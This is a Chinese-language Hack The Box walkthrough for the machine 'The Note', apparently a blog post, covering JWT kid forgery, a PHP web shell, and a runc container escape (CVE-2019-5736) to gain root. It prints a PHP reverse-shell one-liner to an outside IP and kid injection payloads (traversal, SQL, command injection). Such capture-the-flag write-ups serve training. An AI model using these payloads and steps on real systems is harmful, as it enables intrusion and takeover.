Hack the box<The Note Book> Walkthrough
Hack the box 简介
Hack the box (后简称htb)是一个在线靶场平台,主要用于训练渗透测试能力, htb大部分题目更贴近real life ,每一个题目都会有偏向图。
官方网站:https://www.hackthebox.eu/
更多介绍可以直接去体验或参考: https://zhuanlan.zhihu.com/p/98483328
一些不成熟的小建议:如果你是CTF选手,建议还是选择专门的CTF靶场进行训练,部分CVE题目,国外常使用的一些cms 或组件,国内用的并不多,推荐多做偏向real-life的题目。另外,在网上有公开答案之前,不要在互联网直接公开writeup ,实在做不出来了,可以去看看官方论坛或者twitter上向老外请教,最后才是去看答案噢。我在做完本文题目的时候是没有答案的,且只有13个人做出来,嘿嘿,还是有点厉害的吧!
Web部分
1、起手一定是
nmap 80 22
2、80访问,让我注册,注册的时候admin 账号已经不能用了,随便注册账号 进去以后添加个Note ,感觉没啥梗。
3、账号的标识a615751d-853c-4006-8d83-1c4c54e64b4c 没啥梗。
4、组件信息没啥梗。
5、从拿到的信息来分析,这题大概率和jwt 有关,注入之类的可能不是考点。
http://localhost:7070/privKey.key 有点扎眼。
6、跑了下目录 ,发现有个/admin 是403。
7、重置系统后发现admin账号是默认存在的。
8、另一个方向就是爆破admin密码了,目前就这两条路,但是我看到一血只用了26分钟,大概率不是爆破吧,试了下简单的弱口令没爆出来,这条路放弃。
9、常规漏洞扫了一下,没发现有意义的漏洞。
10、经过了一波有的没的无效操作,最终还是得聚焦jwt ,主要我对jwt kid这个功能一无所知,如果你能get到这个的风险,26分钟以内做出来就很合理了。
11、在国内搜一哈jwt存在的安全风险:
https://zhuanlan.zhihu.com/p/93129166
发现走不通,而且都没有讲到Kid 相关的内容。
12、google 搜索jwt kid exploit 打开新思路,发现kid 参数问题多多。
https://blog.pentesteracademy.com/hacking-jwt-tokens-kid-claim-misuse-command-injection-e7f5b9def146
kid 的commandinjection ,KID代表“密钥ID”。它是JWT中的可选标头字段,它使开发人员可以指定用于验证令牌的密钥。
操作方法如下:
1、Directory traversal
“kid”: “…/…/public/css/main.css” // usethe publicly available file main.css to verify the token
2、sqlinjection
“kid”: “aaaaaaa’ UNIONSELECT’key’;–”// use the string “key” to verify the token
3、command injection
“key_file” | whoami;
13、发现有个jwttools 工具,非常强大
可以扫描常见的jwt风险:
https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool
14、JWT 伪造 ,成功突破。
首次运行 JWTTOOLS 会自动生成一些配置文件,其中就有RSA 的公钥和私钥。
使用 JWTTOOL的公钥和私钥 生成签名,在jwttool 目录下,起一个python3 -m http.server 服务,再将kid 的值指向服务:http://xx.xx.xx:8000/jwttool_custom_private_RSA.pem,生成的token 成功访问了admin 页面。
15、翻阅他的note从need to fixconfig 看出 可以上传php 文件。传一个phpinfo 没毛病。
16、传马 get shell。
17、 php 弹shell 到本机。
php-r’$sock=fsockopen(“10.0.0.1”,1234);exec("/bin/sh -i<&3>&3 2>&3");’
18、whoami 发现只是个小鸡崽用户,在Home 里发现了Noah 用户,无权限。
19、第一个想到的是note 里写的情书?试了几个密码都不对。
20、第二个Note里写的。
21、找到备份文件夹 起个python 下载。'
22、解压出来后发现 sshkey,
sshcat user 成功。
Linux 提权部分
1、ssh 连进去以后,先上个linpeas 跑一波看看:
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
2、另外连进去后,显示了乌班图的版本, 顺手搜一下:
Welcome to Ubuntu 18.04.5 LTS(GNU/Linux4.15.0-135-generic x86_64)
https://blog.csdn.net/k8gege/article/details/112914668
好像是说有CVE ,也在受影响版本内,试一哈。结果失败。
3、看Linepeas:
Sudo version 1.8.21p2
CVE-2021-3156
这个返回应该是不存在漏洞。
4、继续看看sudo 发现
(ALL) NOPASSWD: /usr/bin/docker exec -itwebapp-dev01*
5、sudo 进容器:
sudo /usr/bin/docker exec -it webapp-dev01/bin/bash
只要能够容器逃逸,就拿到root 了。
搜索,找到https://www.cnblogs.com/xiaozi/p/13377619.html。
CVE-2019-5736。
查看版本符合条件 ,整!
docker --version
Docker version 18.06.0-ce, build 0ffa825
docker-runc --versionrunc version
1.0.0-rc5+dev
commit:69663f0bd4b60df09991c08812a60108003fa340
spec: 1.0.0
下载Poc gobuild 编译,修改一下exp 。
https://github.com/Frichetten/CVE-2019-5736-PoC
wget 下载main ,赋权 ,运行。运行前 要再开一个ssh 连接 。
运行的同时,另外一个连接进入容器。
sudo /usr/bin/docker exec -it webapp-dev01/bin/sh
这里有个小坑,如果失败要多试几次,尽量在mainexp 运行后,立马让另一个连接 进入容器,最终拿到root权限。
知识点总结:
1、 jwt kid 相关漏洞
2、jwt tools 工具使用
3、 docker逃逸CVE-2019-5736
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 习近平寄语澳门 7907326
- 2 突发:美军战斗机被击落 7933071
- 3 老人取走自己卡内200多万被抓 7854647
- 4 我国工业经济平稳向好 7703445
- 5 湖南卫视声明 7623309
- 6 三战是否已经开始?普京回应 7571657
- 7 春熙路不能随便开直播了 7435834
- 8 女子举报前公公有不明财产 银行通报 7351983
- 9 哈尔滨一公司禁止员工去冰雪大世界 7238338
- 10 冬至饺子 骑手能抢到啥吃啥 7137944